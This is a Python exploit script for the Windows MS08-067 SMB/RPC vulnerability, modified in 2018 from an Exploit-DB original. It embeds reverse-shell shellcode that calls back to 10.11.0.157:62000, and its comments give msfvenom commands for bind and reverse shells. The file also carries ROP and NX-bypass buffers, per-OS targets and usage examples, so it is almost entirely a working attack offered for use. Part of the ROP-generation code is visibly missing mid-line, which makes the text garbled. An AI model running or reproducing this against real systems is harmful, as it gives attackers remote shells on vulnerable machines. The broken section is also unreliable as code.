#!/usr/bin/env python import struct import time import sys from threading import Thread # Thread is imported incase you would like to modify try: from impacket import smb from impacket import uuid #from impacket.dcerpc import dcerpc from impacket.dcerpc.v5 import transport except ImportError, _: print 'Install the following library to make this script work' print 'Impacket : https://github.com/CoreSecurity/impacket.git' print 'PyCrypto : https://pypi.python.org/pypi/pycrypto' sys.exit(1) print '#######################################################################' print '# MS08-067 Exploit' print '# This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).' print '# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi' print '#' print '# Mod in 2018 by Andy Acer:' print '# - Added support for selecting a target port at the command line.' print '# It seemed that only 445 was previously supported.' print '# - Changed library calls to correctly establish a NetBIOS session for SMB transport' print '# - Changed shellcode handling to allow for variable length shellcode. Just cut and paste' print '# into this source file.' print '#######################################################################\n' # ------------------------------------------------------------------------ # REPLACE THIS SHELLCODE with shellcode generated for your use # Note that length checking logic follows this section, so there's no need to count bytes or bother with NOPS. # # Example msfvenom commands to generate shellcode: # msfvenom -p windows/shell_bind_tcp RHOST=10.11.1.229 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows # msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows # msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows # Reverse TCP to 10.11.0.157 port 62000: shellcode=( "\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e" "\x42\xf6\xc3\xef\x83\xee\xfc\xe2\xf4\xbe\x1e\x41\xef\x42\xf6" "\xa3\x66\xa7\xc7\x03\x8b\xc9\xa6\xf3\x64\x10\xfa\x48\xbd\x56" "\x7d\xb1\xc7\x4d\x41\x89\xc9\x73\x09\x6f\xd3\x23\x8a\xc1\xc3" "\x62\x37\x0c\xe2\x43\x31\x21\x1d\x10\xa1\x48\xbd\x52\x7d\x89" "\xd3\xc9\xba\xd2\x97\xa1\xbe\xc2\x3e\x13\x7d\x9a\xcf\x43\x25" "\x48\xa6\x5a\x15\xf9\xa6\xc9\xc2\x48\xee\x94\xc7\x3c\x43\x83" "\x39\xce\xee\x85\xce\x23\x9a\xb4\xf5\xbe\x17\x79\x8b\xe7\x9a" "\xa6\xae\x48\xb7\x66\xf7\x10\x89\xc9\xfa\x88\x64\x1a\xea\xc2" "\x3c\xc9\xf2\x48\xee\x92\x7f\x87\xcb\x66\xad\x98\x8e\x1b\xac" "\x92\x10\xa2\xa9\x9c\xb5\xc9\xe4\x28\x62\x1f\x9e\xf0\xdd\x42" "\xf6\xab\x98\x31\xc4\x9c\xbb\x2a\xba\xb4\xc9\x45\x09\x16\x57" "\xd2\xf7\xc3\xef\x6b\x32\x97\xbf\x2a\xdf\x43\x84\x42\x09\x16" "\xbf\x12\xa6\x93\xaf\x12\xb6\x93\x87\xa8\xf9\x1c\x0f\xbd\x23" "\x54\x85\x47\x9e\xc9\xe4\x42\x6b\xab\xed\x42\x04\xf3\x66\xa4" "\x9c\xd3\xb9\x15\x9e\x5a\x4a\x36\x97\x3c\x3a\xc7\x36\xb7\xe3" "\xbd\xb8\xcb\x9a\xae\x9e\x33\x5a\xe0\xa0\x3c\x3a\x2a\x95\xae" "\x8b\x42\x7f\x20\xb8\x15\xa1\xf2\x19\x28\xe4\x9a\xb9\xa0\x0b" "\xa5\x28\x06\xd2\xff\xee\x43\x7b\x87\xcb\x52\x30\xc3\xab\x16" "\xa6\x95\xb9\x14\xb0\x95\xa1\x14\xa0\x90\xb9\x2a\x8f\x0f\xd0" "\xc4\x09\x16\x66\xa2\xb8\x95\xa9\xbd\xc6\xab\xe7\xc5\xeb\xa3" "\x10\x97\x4d\x23\xf2\x68\xfc\xab\x49\xd7\x4b\x5e\x10\x97\xca" "\xc5\x93\x48\x76\x38\x0f\x37\xf3\x78\xa8\x51\x84\xac\x85\x42" "\xa5\x3c\x3a" ) # ------------------------------------------------------------------------ # Gotta make No-Ops (NOPS) + shellcode = 410 bytes num_nops = 410 - len(shellcode) newshellcode = "\x90" * num_nops newshellcode += shellcode # Add NOPS to the front shellcode = newshellcode # Switcheroo with the newshellcode temp variable #print "Shellcode length: %s\n\n" % len(shellcode) nonxjmper = "\x08\x04\x02\x00%s" + "A" * 4 + "%s" + \ "A" * 42 + "\x90" * 8 + "\xeb\x62" + "A" * 10 disableNXjumper = "\x08\x04\x02\x00%s%s%s" + "A" * \ 28 + "%s" + "\xeb\x02" + "\x90" * 2 + "\xeb\x62" ropjumper = "\x00\x08\x01\x00" + "%s" + "\x10\x01\x04\x01"; module_base = 0x6f880000 def generate_rop(rvas): gadget1 = "\x90\x5a\x59\xc3" gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"] gadget3 = "\xcc\x90\xeb\x5a" ret = struct.pack(' 00 00 01 36 => 310. No idea why it's "doubled" # from 310 to 620. 620 = 410 shellcode + extra stuff in the path. MaxCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620. Offset = "\x00\x00\x00\x00" ActualCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620 self.__stub = server + MaxCount + Offset + ActualCount + \ path + "\xE8\x03\x00\x00" + prefix + "\x01\x10\x00\x00\x00\x00\x00\x00" return def run(self): self.__DCEPacket() self.__dce.call(0x1f, self.__stub) time.sleep(3) print 'Exploit finish\n' if __name__ == '__main__': try: target = sys.argv[1] os = sys.argv[2] port = sys.argv[3] except IndexError: print '\nUsage: %s \n' % sys.argv[0] print 'Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445' print 'Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)' print 'Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal' print 'Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English' print 'Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)' print 'Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)' print 'Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)' print '' print 'Also: nmap has a good OS discovery script that pairs well with this exploit:' print 'nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 192.168.1.1' print '' sys.exit(-1) current = SRVSVC_Exploit(target, os, port) current.start()